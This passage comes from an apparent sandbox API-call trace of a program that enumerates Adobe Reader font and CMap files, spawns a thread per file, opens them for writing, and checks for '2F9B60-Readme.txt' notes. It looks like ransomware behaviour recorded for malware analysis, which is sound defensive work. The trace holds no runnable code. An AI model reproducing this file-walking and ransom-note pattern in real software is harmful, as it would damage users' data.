Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\7944a947b82316f9ce6def7.2f9b60", NtPathName=0x3d7bf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\7944a947b82316f9ce6def7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0233.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x431156e0 [0235.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431156e0) returned 1 [0235.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430ada80) returned 1 [0235.370] NtQueryInformationFile (in: FileHandle=0x2a28, IoStatusBlock=0x3d7bf7f8, FileInformation=0x3d7bf808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d7bf7f8, FileInformation=0x3d7bf808) returned 0x0 [0235.370] NtSetInformationFile (FileHandle=0x2a28, IoStatusBlock=0x3d7bf7f8, FileInformation=0x3d7bf808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431122e0) returned 1 [0237.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43113900) returned 1 [0237.308] FlushFileBuffers (hFile=0x2a28) returned 1 [0238.224] CloseHandle (hObject=0x2a28) returned 1 [0241.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac630 [0241.594] wcscpy (in: _Dest=0x202ac630, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0241.594] wcscat (in: _Dest=0x202ac630, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\2F9B60-Readme.txt" [0241.594] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\2f9b60-readme.txt")) returned 0x20 [0244.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac630) returned 1 [0244.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bed0) returned 1 [0244.053] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fd132c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHeitiStd-Regular.otf", cAlternateFileName="ADOBEH~1.OTF")) returned 1 [0244.053] wcscmp (_String1="AdobeHeitiStd-Regular.otf", _String2=".") returned 1 [0244.053] wcscmp (_String1="AdobeHeitiStd-Regular.otf", _String2="..") returned 1 [0244.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bed0 [0244.053] wcscpy (in: _Dest=0x2050bed0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0244.053] wcscat (in: _Dest=0x2050bed0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0244.053] wcscat (in: _Dest=0x2050bed0, _Source="AdobeHeitiStd-Regular.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf" [0244.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050bed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x252c [0244.088] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8013d940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9b3508, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMingStd-Light.otf", cAlternateFileName="ADOBEM~2.OTF")) returned 1 [0244.088] wcscmp (_String1="AdobeMingStd-Light.otf", _String2=".") returned 1 [0244.088] wcscmp (_String1="AdobeMingStd-Light.otf", _String2="..") returned 1 [0244.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11b80 [0244.089] wcscpy (in: _Dest=0x1ce11b80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0244.089] wcscat (in: _Dest=0x1ce11b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0244.089] wcscat (in: _Dest=0x1ce11b80, _Source="AdobeMingStd-Light.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf" [0244.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b4 [0244.089] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb4a240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e93f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMyungjoStd-Medium.otf", cAlternateFileName="ADOBEM~1.OTF")) returned 1 [0244.090] wcscmp (_String1="AdobeMyungjoStd-Medium.otf", _String2=".") returned 1 [0244.090] wcscmp (_String1="AdobeMyungjoStd-Medium.otf", _String2="..") returned 1 [0244.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x108140 [0244.090] wcscpy (in: _Dest=0x108140, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0244.090] wcscat (in: _Dest=0x108140, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0244.090] wcscat (in: _Dest=0x108140, _Source="AdobeMyungjoStd-Medium.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf" [0244.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x108140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b0 [0244.091] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xedd564, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSongStd-Light.otf", cAlternateFileName="ADOBES~1.OTF")) returned 1 [0244.091] wcscmp (_String1="AdobeSongStd-Light.otf", _String2=".") returned 1 [0244.091] wcscmp (_String1="AdobeSongStd-Light.otf", _String2="..") returned 1 [0244.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11ad0 [0244.091] wcscpy (in: _Dest=0x1ce11ad0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0244.091] wcscat (in: _Dest=0x1ce11ad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0244.091] wcscat (in: _Dest=0x1ce11ad0, _Source="AdobeSongStd-Light.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf" [0244.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ac [0244.091] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f9a7320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozGoPr6N-Medium.otf", cAlternateFileName="KOZGOP~1.OTF")) returned 1 [0244.092] wcscmp (_String1="KozGoPr6N-Medium.otf", _String2=".") returned 1 [0244.092] wcscmp (_String1="KozGoPr6N-Medium.otf", _String2="..") returned 1 [0244.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11fa0 [0244.092] wcscpy (in: _Dest=0x1ce11fa0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0244.092] wcscat (in: _Dest=0x1ce11fa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0244.092] wcscat (in: _Dest=0x1ce11fa0, _Source="KozGoPr6N-Medium.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf" [0244.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a8 [0244.092] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="KOZMIN~1.OTF")) returned 1 [0244.092] wcscmp (_String1="KozMinPr6N-Regular.otf", _String2=".") returned 1 [0244.092] wcscmp (_String1="KozMinPr6N-Regular.otf", _String2="..") returned 1 [0244.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11ef0 [0244.093] wcscpy (in: _Dest=0x1ce11ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0244.093] wcscat (in: _Dest=0x1ce11ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0244.093] wcscat (in: _Dest=0x1ce11ef0, _Source="KozMinPr6N-Regular.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf" [0244.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a4 [0244.094] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x2027c590 | out: lpFindFileData=0x2027c590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="KOZMIN~1.OTF")) returned 0 [0244.094] FindClose (in: hFindFile=0x1cd86c10 | out: hFindFile=0x1cd86c10) returned 1 [0244.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027c590) returned 1 [0244.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe680) returned 1 [0244.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866fc0) returned 1 Thread: id = 2710 os_tid = 0x22c4 [0157.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cebe700 [0157.776] wcscpy (in: _Dest=0x1cebe700, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0157.776] wcscat (in: _Dest=0x1cebe700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0157.776] wcscat (in: _Dest=0x1cebe700, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*" [0157.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027cf50 [0157.776] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*", lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86250 [0165.849] wcscmp (_String1=".", _String2=".") returned 0 [0165.849] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.954] wcscmp (_String1="..", _String2=".") returned 1 [0165.954] wcscmp (_String1="..", _String2="..") returned 0 [0165.954] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="83pv-RKSJ-H", cAlternateFileName="83PV-R~1")) returned 1 [0165.954] wcscmp (_String1="83pv-RKSJ-H", _String2=".") returned 1 [0165.954] wcscmp (_String1="83pv-RKSJ-H", _String2="..") returned 1 [0165.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c221b0 [0165.954] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.954] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.955] wcscat (in: _Dest=0x42c221b0, _Source="83pv-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" [0165.955] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\83pv-rksj-h")) returned 0x20 [0165.957] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H", dwFileAttributes=0x20) returned 0 [0165.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\83pv-rksj-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.957] GetLastError () returned 0x5 [0165.957] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H", dwFileAttributes=0x20) returned 0 [0165.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.958] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-H", cAlternateFileName="90MS-R~1")) returned 1 [0165.958] wcscmp (_String1="90ms-RKSJ-H", _String2=".") returned 1 [0165.958] wcscmp (_String1="90ms-RKSJ-H", _String2="..") returned 1 [0165.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c221b0 [0165.958] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.958] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.958] wcscat (in: _Dest=0x42c221b0, _Source="90ms-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" [0165.958] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-h")) returned 0x20 [0165.958] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H", dwFileAttributes=0x20) returned 0 [0165.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.959] GetLastError () returned 0x5 [0165.959] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H", dwFileAttributes=0x20) returned 0 [0165.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.959] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-UCS2", cAlternateFileName="90MS-R~2")) returned 1 [0165.959] wcscmp (_String1="90ms-RKSJ-UCS2", _String2=".") returned 1 [0165.959] wcscmp (_String1="90ms-RKSJ-UCS2", _String2="..") returned 1 [0165.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0165.959] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.959] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.959] wcscat (in: _Dest=0x42c30ef0, _Source="90ms-RKSJ-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" [0165.960] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-ucs2")) returned 0x20 [0165.962] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2", dwFileAttributes=0x20) returned 0 [0165.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.962] GetLastError () returned 0x5 [0165.962] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2", dwFileAttributes=0x20) returned 0 [0165.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0165.962] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-V", cAlternateFileName="90MS-R~3")) returned 1 [0165.962] wcscmp (_String1="90ms-RKSJ-V", _String2=".") returned 1 [0165.962] wcscmp (_String1="90ms-RKSJ-V", _String2="..") returned 1 [0165.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c221b0 [0165.963] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.963] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.963] wcscat (in: _Dest=0x42c221b0, 